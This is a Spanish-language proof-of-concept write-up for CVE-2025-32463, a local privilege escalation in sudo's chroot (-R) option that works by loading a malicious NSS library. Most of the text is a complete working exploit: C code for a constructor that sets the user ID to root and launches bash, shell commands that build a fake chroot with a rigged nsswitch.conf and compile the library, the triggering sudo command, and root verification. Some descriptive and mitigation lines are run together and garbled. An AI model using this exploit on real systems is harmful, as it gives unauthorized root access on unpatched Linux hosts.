
Un exploit PoC para CVE-2025-32463 - Escalada de privilegios en Sudo
Existe una vulnerabilidad de escalada de privilegios en sudo que afecta a sistemas basados en Linux/Unix. El fallo surge debido a una validación incorrecta de rutas cuando sudo se utiliza con la opción -R (--chroot), lo que permite a los atacantes escalar a root mediante la carga maliciosa de bibliotecas NSS.
sudo ejecuta un comando dentro de un entorno chroot (opción -R), gestiona incorrectamente la carga de bibliotecas NSS (Name Service Switch) durante condiciones de error.LD_LIBRARY_PATH o las rutas en /etc/nsswitch.conf) puede provocar la carga de una biblioteca maliciosa en lugar de la biblioteca NSS legítima (por ejemplo, libnss_files.so).sudo a la última versión parcheada.sudo (limite el uso de chroot cuando sea posible).LD_LIBRARY_PATH./etc/nsswitch.conf.secure_path en /etc/sudoers para limitar las rutas de búsqueda de bibliotecas.| Componente | Disparador de la vulnerabilidad |
|---|---|
sudo -R | Validación incorrecta de la ruta chroot. |
| NSS | Carga insegura de bibliotecas durante errores. |
| Exploit | Secuestro de ruta → Carga de biblioteca maliciosa. |
ID CVE: CVE-2025-32463
Versiones afectadas: Sudo 1.9.14 hasta 1.9.17
Puntuación CVSS: 9.8 (Crítica)
Impacto: Escalada local de privilegios a root
Si responde con No such file or directory, entonces es vulnerable:
sudo -R invalid invalid
sudo: invalid: No such file or directory
Primero, creamos un directorio temporal para trabajar:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
Esto crea un directorio temporal con nombre único y navega dentro de él. El comando mktemp asegura que no interfieramos con los archivos existentes del sistema.
Necesitamos crear un archivo C (bridge90.c) que se compilará como una biblioteca maliciosa:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Establece el ID de usuario real y efectivo a root
setregid(0,0); // Establece el ID de grupo real y efectivo a root
chdir("/"); // Cambia al directorio raíz
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Ejecuta un shell
}
Componentes clave:
__attribute__((constructor)) asegura que la función se ejecute cuando se carga la biblioteca
setreuid y setregid escalan privilegios a root
execl genera un shell bash
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
Desglose:
Crear un entorno chroot falso en bridge/etc
Modificar nsswitch.conf para que apunte a nuestra ruta maliciosa
Copiar el archivo real /etc/group para mantener la legitimidad
Crear un directorio para nuestra biblioteca maliciosa
Compilar el código C en una biblioteca compartida con un nombre que coincida con las convenciones de NSS (Name Service Switch)
sudo -R bridge bridge
Este comando intenta usar nuestro entorno manipulado:
El primer bridge es el directorio chroot que contiene nuestra configuración maliciosa
El segundo bridge es el comando a ejecutar (que cargará nuestra biblioteca)
Después de una explotación exitosa, verifique el acceso root:
whoami # Debería devolver "root"
id -u # Debería devolver "0" (UID de root)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]¡Este exploit PoC es solo con fines educativos! ¡No soy responsable de ningún uso indebido que puedas hacer con este exploit!